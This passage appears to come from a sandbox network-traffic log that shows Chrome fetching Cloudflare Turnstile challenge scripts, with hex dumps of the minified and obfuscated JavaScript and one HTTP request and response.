6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Bt(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 71 74 28 65 29 7c 7c 7a 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 56 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Se(e,t){return qt(e)\|\|zt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ve(e,t){var a={label:0,sent:function(){if(l[0
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 50 65 3d 33 30 30 30 33 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var Pe=300030;var We=300031;var j;(fu
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b Data Ascii: R="never",e.MANUAL="manual",e.AUTO="auto"})(ee\|\|(ee={}));var ce;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ce\|\|(ce={}));var Q;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(Q\|\|(Q={}));var me;
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 22 73 74 72 69 6e 67 22 26 26 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 4c 2e 4e 4f 52 4d 41 4c 2c 4c 2e 43 4f 4d 50 41 43 54 2c 4c 2e 49 4e 56 49 53 49 42 4c 45 2c 4c 2e 46 4c 45 58 49 42 4c 45 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 6b 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 Data Ascii: "string"&&Nr.test(e)}function pt(e){return M([L.NORMAL,L.COMPACT,L.INVISIBLE,L.FLEXIBLE],e)}function vt(e){return M(["auto","manual","never"],e)}function mt(e){return M(["auto","manual","never"],e)}var kr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){retu
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 49 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 22 3a 22 66 62 45 22 3b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 73 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 70 2c 22 74 75 72 6e 73 74 69 6c 65 2f 69 66 2f 6f 76 Data Ascii: o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,g,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",I=a["feedback-enabled"]===!1?"fbD":"fbE";return"".concat(s,"/cdn-cgi/challenge-platform/").concat(p,"turnstile/if/ov
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 29 7b 69 66 28 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 3d 3d 22 75 6e 64 65 66 69 6e 65 Data Ascii: if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&te(e,t)}function ze(){if(typeof Reflect=="undefine
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 71 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 7a 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 73 72 28 74 68 69 73 2c 63 29 7d 7d 76 61 72 20 66 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 75 72 28 61 2c 65 29 3b 76 61 72 20 74 3d 64 72 28 61 29 3b Data Ascii: eof t=="function")?t:qe(e)}function dr(e){var t=ze();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,arguments);return sr(this,c)}}var fr=function(e){"use strict";ur(a,e);var t=dr(a);
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 6c 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b 74 2e 77 72 61 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 6d 28 22 43 61 6e 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 20 57 69 64 67 65 74 2c 20 45 6c 65 6d 65 6e 74 20 6e 6f 74 20 66 6f 75 6e 64 20 28 23 22 2e 63 6f 6e 63 61 74 28 Data Ascii: -cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((l=t.params.theme)!==null&&l!==void 0?l:t.theme,"/").concat(a);t.wrapper.parentNode\|\|m("Cannot initialize Widget, Element not found (#".concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49751	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:07 UTC	731	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=905d758c9c7f5e68&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:07 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:07 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117393 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 905d7590be06c439-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:07 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 4b 4d 72 57 68 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.KMrWh3={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 Data Ascii: r%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 2c 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 66 39 2c 66 61 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 33 34 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 37 37 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 32 33 36 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 37 39 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 35 30 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 37 31 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 31 33 29 29 2f 37 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 Data Ascii: ,fY,ga,gg,gh,gi,gs,gD,gH,f9,fa){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1434))/1(parseInt(gI(1277))/2)+-parseInt(gI(236))/3+parseInt(gI(479))/4+parseInt(gI(1550))/5(-parseInt(gI(971))/6)+parseInt(gI(413))/7+-parseInt(gI(6
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 78 3d 67 4a 2c 6f 3d 7b 27 6f 67 79 6c 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 6a 61 6f 6e 45 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 2c 4a 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 2c 4a 29 7d 2c 27 72 48 6e 7a 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 46 69 4f 77 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 2c 27 70 6c 4f 45 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 7d 2c 6f 5b 68 78 28 31 36 31 30 29 5d 28 6e 75 6c 6c 2c 68 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 68 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 66 36 28 68 29 2c 67 5b Data Ascii: x=gJ,o={'ogylk':function(G,H){return G===H},'jaonE':function(G,H,I,J){return G(H,I,J)},'rHnzn':function(G,H){return G+H},'FiOwj':function(G,H,I){return G(H,I)},'plOEj':function(G,H,I){return G(H,I)}},o[hx(1610)](null,h)\|\|void 0===h)return j;for(x=f6(h),g[
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 66 39 5b 66 61 5d 3d 53 74 72 69 6e 67 5b 67 4a 28 31 30 33 36 29 5d 28 66 61 29 2c 66 61 2b 2b 29 3b 66 62 3d 28 30 2c 65 76 61 6c 29 28 67 4a 28 32 38 33 29 29 2c 66 63 3d 61 74 6f 62 28 67 4a 28 31 35 32 37 29 29 2c 66 43 3d 66 75 6e 63 74 69 6f 6e 28 69 65 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 69 65 3d 67 4a 2c 64 3d 7b 27 43 41 5a 67 58 27 3a 69 65 28 31 35 31 38 29 2c 27 44 44 51 68 47 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 2c 27 75 41 49 76 6d 27 3a 69 65 28 36 32 32 29 2c 27 76 4f 4d 73 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 43 4d 66 42 58 27 3a 69 65 28 31 30 39 34 29 2c 27 6f 56 42 6b 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b Data Ascii: f9[fa]=String[gJ(1036)](fa),fa++);fb=(0,eval)(gJ(283)),fc=atob(gJ(1527)),fC=function(ie,d,e,f,g){return ie=gJ,d={'CAZgX':ie(1518),'DDQhG':function(h,i){return i===h},'uAIvm':ie(622),'vOMsz':function(h,i){return h<i},'CMfBX':ie(1094),'oVBku':function(h,i){
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 54 2c 4e 2c 4f 2c 50 29 7b 69 66 28 69 68 3d 69 65 2c 78 3d 7b 7d 2c 78 5b 69 68 28 31 34 38 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 51 2c 52 29 7b 72 65 74 75 72 6e 20 52 5e 51 7d 2c 78 5b 69 68 28 32 34 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 51 2c 52 29 7b 72 65 74 75 72 6e 20 52 5e 51 7d 2c 42 3d 78 2c 6a 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 44 3d 7b 7d 2c 45 3d 7b 7d 2c 46 3d 27 27 2c 47 3d 32 2c 48 3d 33 2c 49 3d 32 2c 4a 3d 5b 5d 2c 4b 3d 30 2c 4c 3d 30 2c 4d 3d 30 3b 64 5b 69 68 28 39 38 35 29 5d 28 4d 2c 6a 5b 69 68 28 31 31 37 31 29 5d 29 3b 4d 2b 3d 31 29 69 66 28 4e 3d 6a 5b 69 68 28 31 30 31 37 29 5d 28 4d 29 2c 4f 62 6a 65 63 74 5b 69 68 28 33 33 31 29 5d 5b 69 68 28 33 38 36 29 5d Data Ascii: ,H,I,J,K,L,M,T,N,O,P){if(ih=ie,x={},x[ih(1480)]=function(Q,R){return R^Q},x[ih(249)]=function(Q,R){return R^Q},B=x,j==null)return'';for(D={},E={},F='',G=2,H=3,I=2,J=[],K=0,L=0,M=0;d[ih(985)](M,j[ih(1171)]);M+=1)if(N=j[ih(1017)](M),Object[ih(331)][ih(386)]
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 36 31 37 29 5d 28 64 5b 69 68 28 38 34 33 29 5d 2c 64 5b 69 68 28 38 34 33 29 5d 29 29 72 65 74 75 72 6e 20 4a 28 6e 65 77 20 6f 28 46 29 29 3b 65 6c 73 65 7b 66 6f 72 28 43 3d 30 3b 43 3c 49 3b 4b 3c 3c 3d 31 2c 64 5b 69 68 28 32 38 34 29 5d 28 4c 2c 64 5b 69 68 28 31 33 30 38 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 69 68 28 31 33 30 33 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 69 68 28 39 31 34 29 5d 28 30 29 2c 43 3d 30 3b 38 3e 43 3b 4b 3d 64 5b 69 68 28 31 34 39 37 29 5d 28 4b 3c 3c 31 2c 64 5b 69 68 28 31 34 38 38 29 5d 28 50 2c 31 29 29 2c 4c 3d 3d 64 5b 69 68 28 31 36 32 30 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 69 68 28 31 33 30 33 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b Data Ascii: 617)](d[ih(843)],d[ih(843)]))return J(new o(F));else{for(C=0;C<I;K<<=1,d[ih(284)](L,d[ih(1308)](o,1))?(L=0,J[ih(1303)](s(K)),K=0):L++,C++);for(P=F[ih(914)](0),C=0;8>C;K=d[ih(1497)](K<<1,d[ih(1488)](P,1)),L==d[ih(1620)](o,1)?(L=0,J[ih(1303)](s(K)),K=0):L++
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 34 29 5d 28 64 5b 69 6b 28 31 32 30 36 29 5d 2c 64 5b 69 6b 28 31 32 30 36 29 5d 29 29 7b 66 6f 72 28 43 3d 5b 5d 2c 44 3d 34 2c 45 3d 34 2c 46 3d 33 2c 47 3d 5b 5d 2c 4a 3d 73 28 30 29 2c 4b 3d 6f 2c 4c 3d 31 2c 48 3d 30 3b 64 5b 69 6b 28 35 32 30 29 5d 28 33 2c 48 29 3b 43 5b 48 5d 3d 48 2c 48 2b 3d 31 29 3b 66 6f 72 28 4d 3d 30 2c 4e 3d 4d 61 74 68 5b 69 6b 28 33 38 35 29 5d 28 32 2c 32 29 2c 49 3d 31 3b 64 5b 69 6b 28 36 36 34 29 5d 28 49 2c 4e 29 3b 29 66 6f 72 28 4f 3d 69 6b 28 39 36 30 29 5b 69 6b 28 38 36 31 29 5d 28 27 7c 27 29 2c 50 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 4f 5b 50 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 4b 3e 3e 3d 31 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 49 3c 3c 3d 31 3b 63 6f 6e 74 69 6e 75 65 3b 63 Data Ascii: 4)](d[ik(1206)],d[ik(1206)])){for(C=[],D=4,E=4,F=3,G=[],J=s(0),K=o,L=1,H=0;d[ik(520)](3,H);C[H]=H,H+=1);for(M=0,N=Math[ik(385)](2,2),I=1;d[ik(664)](I,N);)for(O=ik(960)[ik(861)]('\|'),P=0;!![];){switch(O[P++]){case'0':K>>=1;continue;case'1':I<<=1;continue;c
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 47 5b 69 6b 28 31 35 36 37 29 5d 28 27 27 29 7d 69 66 28 30 3d 3d 44 26 26 28 44 3d 4d 61 74 68 5b 69 6b 28 33 38 35 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 43 5b 52 5d 29 52 3d 43 5b 52 5d 3b 65 6c 73 65 20 69 66 28 45 3d 3d 3d 52 29 52 3d 64 5b 69 6b 28 31 35 37 35 29 5d 28 48 2c 48 5b 69 6b 28 31 30 31 37 29 5d 28 30 29 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 47 5b 69 6b 28 31 33 30 33 29 5d 28 52 29 2c 43 5b 45 2b 2b 5d 3d 48 2b 52 5b 69 6b 28 31 30 31 37 29 5d 28 30 29 2c 44 2d 2d 2c 48 3d 52 2c 30 3d 3d 44 26 26 28 44 3d 4d 61 74 68 5b 69 6b 28 33 38 35 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 7d 7d 65 6c 73 65 20 52 5b 69 6b 28 35 32 35 29 5d 5b 69 6b 28 31 35 33 35 29 5d 28 64 5b 69 6b 28 31 32 37 35 29 5d 29 7d 7d Data Ascii: return G[ik(1567)]('')}if(0==D&&(D=Math[ik(385)](2,F),F++),C[R])R=C[R];else if(E===R)R=d[ik(1575)](H,H[ik(1017)](0));else return 